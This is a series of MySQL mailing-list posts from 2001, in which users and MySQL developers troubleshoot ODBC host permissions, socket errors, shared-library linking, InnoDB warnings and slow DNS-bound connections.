HI I am trying to set up an ODBC connection between my Windows 2000 PC and my Web Server which has a MySQL database on it. I installed the MyODBC package for Windows NT and entered all the relevant information: DSN E-SkyMySQL MySQL host 192.168.1.100 MySQL Database Name eskylight User httpd and Password I did this as a machine data source When I try to connect I get the error message S1000[TCX][MYODBC] Host " is not allowed to connect to this MySQL Server. Any Ideas why this may be happening? Thanks Nick Steele - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Can't connect throug socket
Hi Thanks for the help, I checked again. but i don't have an entry in php.ini [mysql] mysql.default_socket = /path/to/mysql/socket So, i did execute the tip from egon. But now, i don't get the content from .php files but i think i'll get it to work today. thanks regards denis - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Problem Setting up MyODBC Driver
Your workstation may not be in the host table of the MySQL Server. Pat... - Original Message - From: "Nick" [EMAIL PROTECTED] To: "mysql" [EMAIL PROTECTED] Sent: Tuesday, March 20, 2001 9:31 AM Subject: Problem Setting up MyODBC Driver HI I am trying to set up an ODBC connection between my Windows 2000 PC and my Web Server which has a MySQL database on it. I installed the MyODBC package for Windows NT and entered all the relevant information: DSN E-SkyMySQL MySQL host 192.168.1.100 MySQL Database Name eskylight User httpd and Password I did this as a machine data source When I try to connect I get the error message S1000[TCX][MYODBC] Host " is not allowed to connect to this MySQL Server. Any Ideas why this may be happening? Thanks Nick Steele - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
synopsis of the problem (one line)
Description: How-To-Repeat: Fix: Submitter-Id: submitter ID Originator:root Organization: MySQL support: [none | licence | email support | extended email support ] Synopsis: Severity: Priority: Category: mysql Class: Release: mysql-3.22.32 (Source distribution) Environment: System: Linux linux 2.2.16 #1 Wed Aug 2 20:22:26 GMT 2000 i686 unknown Architecture: i686 Some paths: /usr/bin/perl /usr/bin/make /usr/bin/gmake /usr/bin/gcc /usr/bin/cc GCC: Reading specs from /usr/lib/gcc-lib/i486-suse-linux/2.95.2/specs gcc version 2.95.2 19991024 (release) Compilation info: CC='gcc' CFLAGS='' CXX='c++' CXXFLAGS='' LDFLAGS='' Configure command: ./configure --enable-shared --enable-assembler --prefix=/usr --libdir=/usr/lib --libexecdir=/usr/sbin --sysconfdir=/etc --localstatedir=/var/mysql --infodir=/usr/share/info --mandir=/usr/share/man --without-debug --with-mysqld-user=mysql Perl: This is perl, version 5.005_03 built for i586-linux - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: setting a new default nice value
It would also be VERY cool to be able to adjust the priority of selects like you can with inserts. In some cases I know selects are going to take long and thus do not want them to take all resources. Also, it would be REALLY cool to be able to specify a time limit for a select after which time it would die. I know this can be set globally, but this will not work for me as my server has many web apps (php driven) all using the same database - each app having different requirements. What grinds me is that some users enter crap searches on my apps and then hit the stop/cancel button when it takes too long. I know in upcoming versions of php they plan to somehow "fix" this - how I do not know. Oh yes, my databases are normalised. -- Richard Ellerbrock [EMAIL PROTECTED] Wagner Christoph [EMAIL PROTECTED] 2001/03/20 04:21:02 for mysqld -child processes. i set it manually, but how to do it automatically. has somebody done this ? thanks christoph - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
[Problems running scripts/mysql_install_db]
Description: I have download the version 3.23.33 - BSDI(Intel) and when i tried to run scripts/mysql_install_db, i receive the error below: ./bin/my_print_defaults: can't load library 'libz.so' WARNING: The host 'wave.seachange.com' could not be looked up with resolveip. This probably means that your libc libraries are not 100 % compatible with this binary MySQL version. The MySQL deamon, mysqld, should work normally with the exception that host name resolving will not work. This means that you should use IP addresses instead of hostnames when specifying MySQL privileges ! Preparing db table Preparing host table Preparing user table Preparing func table Preparing tables_priv table Preparing columns_priv table Installing all prepared tables ./bin/mysqld: can't load library 'libz.so' Installation of grant tables failed! How-To-Repeat: On the Directory /usr/local/mysql type scripts/mysql_install_db Fix: I have the library libz.so inside /usr/local/lib/mysql, and /usr/local/lib Submitter-Id: submitter ID Originator:msilva Organization: Sea Change Corporation MySQL support: [none ] Synopsis: instalattion problem with MySQL Severity: critical Priority: high Category: mysql Class: support Release: mysql-3.23.33 (Source distribution) Environment: BSDI/OS System: BSD/OS wave.seachange.com 4.0 BSDI BSD/OS 4.0 Kernel #0: Tue Jul 28 15:56:54 MDT 1998 [EMAIL PROTECTED]:/rel/proto/4.0-i386/usr/src/sys/compile/GENERIC i386 Some paths: /usr/bin/perl /usr/bin/make /usr/contrib/bin/gmake /usr/bin/gcc /usr/bin/cc GCC: gcc version 2.7.2.1 Compilation info: CC='gcc' CFLAGS='-O6 -g' CXX='gcc' CXXFLAGS='-O6 -felide-constructors -g' LDFLAGS='' LIBC: -r--r--r-- 1 bin bin 1121298 Jul 29 1998 /usr/lib/libc.a -r--r--r-- 1 bin bin 31 Jul 29 1998 /usr/lib/libc.const -r--r--r-- 1 bin bin 1544 Jul 29 1998 /usr/lib/libc.except Configure command: ./configure --prefix=/usr/local/mysql --enable-assembler Perl: This is perl, version 5.005_02 built for i386-bsdos - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Very slow connection times.
This is documented in the manual as a "kernel fork bomb". See manual for solution. -- Richard Ellerbrock [EMAIL PROTECTED] "Paul Coleman" [EMAIL PROTECTED] 2001/03/21 12:35:28 I am running mysql version 3.23.35 on a linux platform. The hardware platform is a PIII 700 with 500Mb of ram and a fast SCSI drive. The server is currently supporting about 200 concurrent connections, with a view to up this to a couple of thousand. My problem is the time it takes to make a connection to the server from the network. This can be a matter of minutes. Connections on the local machine are not a problem, and once connected query speeds are fine. The max_connections variable is set to 1000. The load average on the machine is about around 0.5. Any light anyone could shed on the problem would be greatly appreciated. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re[2]: Warning: Got signal 14 from thread X
Bonjour Heikki, HT let us see. A known bug with Innobase is that sys/stat was not included HT in univ.i in directory mysql/innobase/include. Then Innobase files are HT created with arbitrary access permissions on some Unixes. HT Could you look with ls -l what permissions Innobase data file ibdat1 has HT on your machine and also the permissions in HT log files in /usr/local/mysql/var/innobase_logs/ ? Mysql is run as root. Innobase file/directories in /usr/local/mysql/var/ : drwxr-xr-x 2 root other512 Mar 16 16:07 innobase_data/ -rwxrwx--x 1 root other 25088 Mar 16 16:08 innobase_log_group_home_dirib_arch_log_00* drwxr-xr-x 2 root other512 Mar 16 16:08 innobase_logs/ Innobase data file : ls -l total 1024532 drwxr-xr-x 2 root other512 Mar 16 16:07 ./ drwx-- 10 root other512 Mar 20 10:48 ../ -rwxrwx--x 1 root other524288000 Mar 20 15:51 ibdata1* Innobase log files : ls -l total 30772 drwxr-xr-x 2 root other512 Mar 16 16:08 ./ drwx-- 10 root other512 Mar 20 10:48 ../ -rwxrwx--x 1 root other5242880 Mar 20 15:52 ib_logfile0* -rwxrwx--x 1 root other5242880 Mar 20 15:51 ib_logfile1* -rwxrwx--x 1 root other5242880 Mar 20 15:52 ib_logfile2* HT In the config parameters below you should not define HT innobase_log_arch_dir = innobase_log_group_home_dir, HT but write the path: HT innobase_log_arch_dir = /usr/local/mysql/var/innobase_logs/ Ooops. Yes sorry. HT Your archived log file has now been created in the default HT directory: if you can find ib_arch_log_00 somewhere, HT you could also look at the file access permissions and mail the HT output of ls -l to me. Yes. I wondered what it was :). It's in /usr/local/mysql/var/ : -rwxrwx--x 1 root other 25088 Mar 16 16:08 innobase_log_group_home_dirib_arch_log_00* This is the only file containing ib_arch_log_00 that I found. I modified innobase_log_arch_dir with the correct value and restarted Mysql. But it did not create another ib_arch_log_00 file. And the file I have in /usr/local/mysql/var/ is dated of Mar 16, is this normal ? HT If you try to recreate an Innobase database, you should delete all HT Innobase data files, log files, the small archived log file, HT and all .frm files for Innobase tables. You mean that now that I modified my.cnf in order to correct innobase_log_arch_dir I have to recreate everything in order to effectively correct everything ? For now, Mysql is running with my.cnf corrected but I still have the same lines in the log : 010320 15:57:20 mysqld started Innobase: Started /usr/local/mysql/libexec/mysqld: ready for connections 010320 15:57:31 Warning: Got signal 14 from thread 8 010320 15:57:33 Warning: Got signal 14 from thread 5 010320 15:57:35 Warning: Got signal 14 from thread 5 010320 15:57:42 Warning: Got signal 14 from thread 8 010320 15:57:44 Warning: Got signal 14 from thread 5 010320 15:57:53 Warning: Got signal 14 from thread 5 010320 15:57:55 Warning: Got signal 14 from thread 5 010320 15:57:57 Warning: Got signal 14 from thread 5 010320 15:57:59 Warning: Got signal 14 from thread 8 010320 15:58:01 Warning: Got signal 14 from thread 5 010320 15:58:03 Warning: Got signal 14 from thread 8 010320 15:58:05 Warning: Got signal 14 from thread 5 010320 15:58:07 Warning: Got signal 14 from thread 8 010320 15:58:09 Warning: Got signal 14 from thread 8 010320 15:58:11 Warning: Got signal 14 from thread 5 010320 15:58:13 Warning: Got signal 14 from thread 8 010320 15:58:15 Warning: Got signal 14 from thread 8 010320 15:58:17 Warning: Got signal 14 from thread 8 010320 15:58:19 Warning: Got signal 14 from thread 5 010320 15:58:21 Warning: Got signal 14 from thread 5 010320 15:58:23 Warning: Got signal 14 from thread 8 HT I will also try to build 3.23.35 on our Solaris machine and look HT what happens. Thanks for you help. Alex. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Very slow connection times.
Paul Coleman writes: I am running mysql version 3.23.35 on a linux platform. The hardware platform is a PIII 700 with 500Mb of ram and a fast SCSI drive. The server is currently supporting about 200 concurrent connections, with a view to up this to a couple of thousand. My problem is the time it takes to make a connection to the server from the network. This can be a matter of minutes. Connections on the local machine are not a problem, and once connected query speeds are fine. The max_connections variable is set to 1000. The load average on the machine is about around 0.5. Any light anyone could shed on the problem would be greatly appreciated. Hi! Problem that you are describing stems from DNS problems. Solution to it is described in our manual. Regards, Sinisa __ _ _ ___ == MySQL AB /*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic /*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED] /*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus /*/ /*/ /*/\*\_/*/ \*\_/*/ |*| /*/^^^\*\^^^ /*/ \*\Developers Team - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: [Fwd: Re: problems with linking]
edit /etc/ld.so.conf add a line for the directory that contains your library run ldconfig Alonso Guarisma wrote: Dear MySQL Sirs (or Andrew Schmidt) Please see attachament for error messages. Thaks in advance for any help. Alonso Guarisma Original Message Subject: Re: problems with linking Date: Mon, 19 Mar 2001 19:02:47 -0500 From: Alonso Guarisma [EMAIL PROTECTED] To: Andrew Schmidt [EMAIL PROTECTED] CC: Keith Rambo [EMAIL PROTECTED] References: [EMAIL PROTECTED] 00cd01c0b0c5$151f69c0$[EMAIL PROTECTED] Dear Andrew Schmidt, thanks for your quick response. Unfortunatelly, I still get the same error and your instructions seem not to work at all. Please tell me if I am doing something else wrong and refer to the attachment where I show what i did, regards Alonso Guarisma Andrew Schmidt wrote: make sure you have -L/usr/local/mysql/lib/mysql/ in your compile and make sure that /usr/local/mysql/lib/mysql/ is in your shared object cache. ldconfig -r will list your current cache entries. if /usr/local/mysql/lib/mysql/libmysqlclient.so.10 is not in there then add the path: /sbin/ldconfig -m /usr/local/mysql/lib/mysql/ to add the directory to the cache. regards, -- Andrew - Original Message - From: "Alonso Guarisma" To: Cc: "Keith Rambo" Sent: Monday, March 19, 2001 5:26 PM Subject: problems with linking Dear MySQL Sirs, I have been trying to run a simple client program using the C API and unfortunatelly I am still getting the same error over and over again: ./client1: error in loading shared libraries: libmysqlclient.so.10: cannot open shared object file: No such file or directory Attached is the output of the libraries directory when I execute ls -l I cannot understand why the program does not find the library, I would really appreciate any help from you regarding this matter, because I already tried the options you provide in the MySQL manual (Section 20.3 Problems when linking the MySQL client library). I also think the problems related to this library is causing me failures when I try to install the GUI for MySQL. I hope to hear from you as soon as possible, sincerely Alonso Guarisma alonso@linux:~ ls -l /usr/local/mysql/lib/mysql/ total 972 -rw-r--r-- 1 mysqladm mysqlgrp11822 Feb 11 16:02 libdbug.a -rw-r--r-- 1 mysqladm mysqlgrp34846 Feb 11 16:02 libheap.a -rw-r--r-- 1 mysqladm mysqlgrp15246 Feb 11 16:02 libmerge.a -rw-r--r-- 1 mysqladm mysqlgrp 230180 Feb 11 16:02 libmyisam.a -rw-r--r-- 1 mysqladm mysqlgrp23312 Feb 11 16:02 libmyisammrg.a -rw-r--r-- 1 mysqladm mysqlgrp 182284 Feb 11 16:02 libmysqlclient.a -rwxr-xr-x 1 mysqladm mysqlgrp 721 Feb 11 16:02 libmysqlclient.la lrwxrwxrwx 1 mysqladm root 24 Feb 11 16:02 libmysqlclient.so - libmysqlclient.so.10.0.0 lrwxrwxrwx 1 mysqladm root 24 Feb 11 16:02 libmysqlclient.so.10 - libmysqlclient.so.10.0.0 -rwxr-xr-x 1 mysqladm mysqlgrp 134367 Feb 11 16:02 libmysqlclient.so.10.0.0 -rw-r--r-- 1 mysqladm mysqlgrp31540 Feb 11 16:02 libmystrings.a -rw-r--r-- 1 mysqladm mysqlgrp 190742 Feb 11 16:02 libmysys.a -rw-r--r-- 1 mysqladm mysqlgrp 102344 Feb 11 16:02 libnisam.a - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail To unsubscribe, e-mail Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php Dear MySQL Sirs or Andrew: Here I pasted the output of what I did, I still get the same error... alonso@linux:~ gcc -c -I/usr/local/mysql/include/mysql client1.c alonso@linux:~ gcc -o client1 client1.o -L/usr/local/mysql/lib/mysql -lmysqlclient ls -l client1 -rwxr-xr-x 1 alonso users 12118 Mar 19 18:36 client1 alonso@linux:~ client1 client1: error in loading shared libraries: libmysqlclient.so.10: cannot open shared object file: No such file or directory alonso@linux:~ ldconfig -r ldconfig: option requires an argument -- r alonso@linux:~ ldconfig -m /usr/local/mysql/lib/mysql/ ldconfig: invalid option -- m Try `ldconfig --help' or `ldconfig --usage' for more information. alonso@linux:~ ldconfig -l /usr/local/mysql/lib/mysql/ ldconfig: Ignored file /usr/local/mysql/lib/mysql/ since it is not a regular file. Although the executable is created, I cannot run it because I obtain the same error (regarding the libmysqlclient.so.10) Thanks in advance for any other help regarding
Re: Problem Setting up MyODBC Driver
Hi Nick, I think u have to make the following. go to mysql prompt: use mysql; then select * from user; is there an entry for the mysql client and the user on it? i don't think so. so u have to make a new entry. then: grant all on *.* to username@clienthostname username (username u are connecting with from client) clienthostname (hostname of your client) after this is done make the following from your mysql directory: bin/mysqladmin -u root flush-privileges hope that helps regards denis On Tuesday 20 March 2001 15:31, you wrote: HI I am trying to set up an ODBC connection between my Windows 2000 PC and my Web Server which has a MySQL database on it. I installed the MyODBC package for Windows NT and entered all the relevant information: DSN E-SkyMySQL MySQL host 192.168.1.100 MySQL Database Name eskylight User httpd and Password I did this as a machine data source When I try to connect I get the error message S1000[TCX][MYODBC] Host " is not allowed to connect to this MySQL Server. Any Ideas why this may be happening? Thanks Nick Steele - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Can't connect server through socket /var/lib/mysql/mysql.sock(111)
Hi, i deleted mysql in /var and make re-install in /usr/local/ but received the same error. so i make an entry in the php3.ini [mysql] mysql.default_socket = /temp where i found the mysql.sock the error message is still there? Other ideas? regards denis On Tuesday 20 March 2001 14:52, you wrote: it looks like that: [MySQL] mysql.default_socket= /path/to/mysql/socket but I think thats not the problem. has your apache enough rights to access the directory /var/lib/mysql ? if not edit /etc/group an add "apache" to group "mysql". - "mysql:x:27:apache" or something similar, then make "chmod g+rx /var/lib/mysql", this should work. if not try to make a "chmod o+rx /var/lib/mysql", this should always work, but I think it isnt a good idea to leave it that way. Egon --- URL: http://www.snb.at mailto:[EMAIL PROTECTED] --- http://www.grusskarte.at denis mettler [EMAIL PROTECTED] 20.03.01 15:02 An: [EMAIL PROTECTED] Kopie: Thema: Can't connect server through socket /var/lib/mysql/mysql.sock(111) Hi, I get the following message if i try to connect to server: Can't connect server through socket /var/lib/mysql/mysql.sock(111) Cal said, i should modify my php.ini and should give the exact definition for the mysql socket. but i don't have an entry in the php.ini for mysql socket. any ideas? T.i.a. Regards denis - Before posting, please check: http://www.mys ql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Problem with mysql 3.23.35 using transaction
An example query and an explanation of what you are trying to do would be helpful. Thanks On Tue, 20 Mar 2001, Brunella del Sorbo wrote: Hi, the version mysql that I am using supports the transactions but these are not recognized from the DBD. How can I resolve the problem? Thanks -- Vincent Stoessel [EMAIL PROTECTED] Internet Applications Engineer IDEV http://www.idev.com V: 301 495 7345 x129 - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
SELECT help
Hi, This is my first posting, although i've been signed up to the list for a while. My problem is this. Table A (5000 rows) ID, NAME, SCORE Table B (1000 rows) ID, NAME, SCORE I want all records from Table A and those from Table B where they match, for this i'm using a right join. However, there are rows in Table B which don't match any in Table A, but i need to include these as well. Any help would be appreciated. Ben. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Antwort: Re: Warning: Got signal 14 from thread X
On 20.03.2001 14:48:58 Sinisa Milivojevic wrote: Also, do you have clients that do not call mysql_close at the end , like PHP programs ? Huh? According to the PHP manual, I always thought that it is unnecessary to explicitly call mysql_close() in PHP. In the PHP manual it says, that the connection is closed automatically when the script finishes. See http://www.php.net/manual/en/function.mysql-close.php . Quote from the manual: | Using mysql_close() isn't usually necessary, as non-persistent open | links are automatically closed at the end of the script's execution. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Bug in Mysql C API?
Hei If I send a SELECT sql-request to my DB and this request returns an "Empty set" ... mysql_num_rows(MYSQL_RES *result) returns 0 - This is OK but mysql_num_fields(MYSQL_RES *result) returns 1 - This is not OK ;-) Why? Am I missing anything? Sincerely Rafael Martinez - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: setting a new default nice value
On Tuesday 20 March 2001 07:58, Richard Ellerbrock wrote: It would also be VERY cool to be able to adjust the priority of selects like you can with inserts. In some cases I know selects are going to take long and thus do not want them to take all resources. Also, it would be REALLY cool to be able to specify a time limit for a select after which time it would die. I know this can be set globally, but this will not work for me as my server has many web apps (php driven) all using the same database - each app having different requirements. What grinds me is that some users enter crap searches on my apps and then hit the stop/cancel button when it takes too long. I know in upcoming versions of php they plan to somehow "fix" this - how I do not know. Oh yes, my databases are normalised. For now the workaround would be to write a daemon or a cron job that connects to MySQL once in a while, runs show full processlist, check the execution time and command type, and kills all threads that have exceeded the limit on select. -- MySQL Development Team __ ___ ___ __ / |/ /_ __/ __/ __ \/ / Sasha Pachev [EMAIL PROTECTED] / /|_/ / // /\ \/ /_/ / /__ MySQL AB, http://www.mysql.com/ /_/ /_/\_, /___/\___\_\___/ Provo, Utah, USA ___/ - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: [Fwd: Re: problems with linking]
Dear Gerald Clark, Thank you very much for your response. I tried your lines and apparently it worked fine. Alonso Guarisma Gerald L. Clark wrote: edit /etc/ld.so.conf add a line for the directory that contains your library run ldconfig Alonso Guarisma wrote: Dear MySQL Sirs (or Andrew Schmidt) Please see attachament for error messages. Thaks in advance for any help. Alonso Guarisma Original Message Subject: Re: problems with linking Date: Mon, 19 Mar 2001 19:02:47 -0500 From: Alonso Guarisma [EMAIL PROTECTED] To: Andrew Schmidt [EMAIL PROTECTED] CC: Keith Rambo [EMAIL PROTECTED] References: [EMAIL PROTECTED] 00cd01c0b0c5$151f69c0$[EMAIL PROTECTED] Dear Andrew Schmidt, thanks for your quick response. Unfortunatelly, I still get the same error and your instructions seem not to work at all. Please tell me if I am doing something else wrong and refer to the attachment where I show what i did, regards Alonso Guarisma Andrew Schmidt wrote: make sure you have -L/usr/local/mysql/lib/mysql/ in your compile and make sure that /usr/local/mysql/lib/mysql/ is in your shared object cache. ldconfig -r will list your current cache entries. if /usr/local/mysql/lib/mysql/libmysqlclient.so.10 is not in there then add the path: /sbin/ldconfig -m /usr/local/mysql/lib/mysql/ to add the directory to the cache. regards, -- Andrew - Original Message - From: "Alonso Guarisma" To: Cc: "Keith Rambo" Sent: Monday, March 19, 2001 5:26 PM Subject: problems with linking Dear MySQL Sirs, I have been trying to run a simple client program using the C API and unfortunatelly I am still getting the same error over and over again: ./client1: error in loading shared libraries: libmysqlclient.so.10: cannot open shared object file: No such file or directory Attached is the output of the libraries directory when I execute ls -l I cannot understand why the program does not find the library, I would really appreciate any help from you regarding this matter, because I already tried the options you provide in the MySQL manual (Section 20.3 Problems when linking the MySQL client library). I also think the problems related to this library is causing me failures when I try to install the GUI for MySQL. I hope to hear from you as soon as possible, sincerely Alonso Guarisma alonso@linux:~ ls -l /usr/local/mysql/lib/mysql/ total 972 -rw-r--r-- 1 mysqladm mysqlgrp11822 Feb 11 16:02 libdbug.a -rw-r--r-- 1 mysqladm mysqlgrp34846 Feb 11 16:02 libheap.a -rw-r--r-- 1 mysqladm mysqlgrp15246 Feb 11 16:02 libmerge.a -rw-r--r-- 1 mysqladm mysqlgrp 230180 Feb 11 16:02 libmyisam.a -rw-r--r-- 1 mysqladm mysqlgrp23312 Feb 11 16:02 libmyisammrg.a -rw-r--r-- 1 mysqladm mysqlgrp 182284 Feb 11 16:02 libmysqlclient.a -rwxr-xr-x 1 mysqladm mysqlgrp 721 Feb 11 16:02 libmysqlclient.la lrwxrwxrwx 1 mysqladm root 24 Feb 11 16:02 libmysqlclient.so - libmysqlclient.so.10.0.0 lrwxrwxrwx 1 mysqladm root 24 Feb 11 16:02 libmysqlclient.so.10 - libmysqlclient.so.10.0.0 -rwxr-xr-x 1 mysqladm mysqlgrp 134367 Feb 11 16:02 libmysqlclient.so.10.0.0 -rw-r--r-- 1 mysqladm mysqlgrp31540 Feb 11 16:02 libmystrings.a -rw-r--r-- 1 mysqladm mysqlgrp 190742 Feb 11 16:02 libmysys.a -rw-r--r-- 1 mysqladm mysqlgrp 102344 Feb 11 16:02 libnisam.a - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail To unsubscribe, e-mail Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php Dear MySQL Sirs or Andrew: Here I pasted the output of what I did, I still get the same error... alonso@linux:~ gcc -c -I/usr/local/mysql/include/mysql client1.c alonso@linux:~ gcc -o client1 client1.o -L/usr/local/mysql/lib/mysql -lmysqlclient ls -l client1 -rwxr-xr-x 1 alonso users 12118 Mar 19 18:36 client1 alonso@linux:~ client1 client1: error in loading shared libraries: libmysqlclient.so.10: cannot open shared object file: No such file or directory alonso@linux:~ ldconfig -r ldconfig: option requires an argument -- r alonso@linux:~ ldconfig -m /usr/local/mysql/lib/mysql/ ldconfig: invalid option -- m Try `ldconfig --help' or `ldconfig --usage' for more information. alonso@linux:~ ldconfig -l /usr/local/mysql/lib/mysql/ ldconfig: Ignored file /usr/local/mysql/lib/mysql/ since it is not a regular file. Although the executable is created, I cannot run it because I obtain the same error
Re[2]: Warning: Got signal 14 from thread X
Bonjour Sinisa, SM The above could indicate some timeout problem. SM Can you build mysql --with-debug and start it with --debug and see in SM the trace file when are the above timeouts reported ?? SM Also, do you have clients that do not call mysql_close at the end , SM like PHP programs ? No. I don't think so. Nothing queries the server. Each time I do a 'mysqladmin stat' I see only one more query which is the stat query in fact. I've just compiled with --with-debug and run the server with --debug. I changed nothing else. Here is what happens now : 010320 17:09:44 mysqld started Innobase: Started /usr/local/mysql/libexec/mysqld: ready for connections mysqld got signal 11; The manual section 'Debugging a MySQL server' tells you how to use a stack trace and/or the core file to produce a readable backtrace that may help in finding out why mysqld died. 010320 17:10:30 mysqld restarted Innobase: Started /usr/local/mysql/libexec/mysqld: ready for connections mysqld got signal 11; The manual section 'Debugging a MySQL server' tells you how to use a stack trace and/or the core file to produce a readable backtrace that may help in finding out why mysqld died. 010320 17:13:02 mysqld restarted Innobase: Database was not shut down normally. Innobase: Starting recovery from log files... Innobase: Starting log scan based on checkpoint at Innobase: log sequence number 0 744725926 Innobase: Started /usr/local/mysql/libexec/mysqld: ready for connections I continue to investigate. Regards, Alex. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Second Request - Limit Filed Input
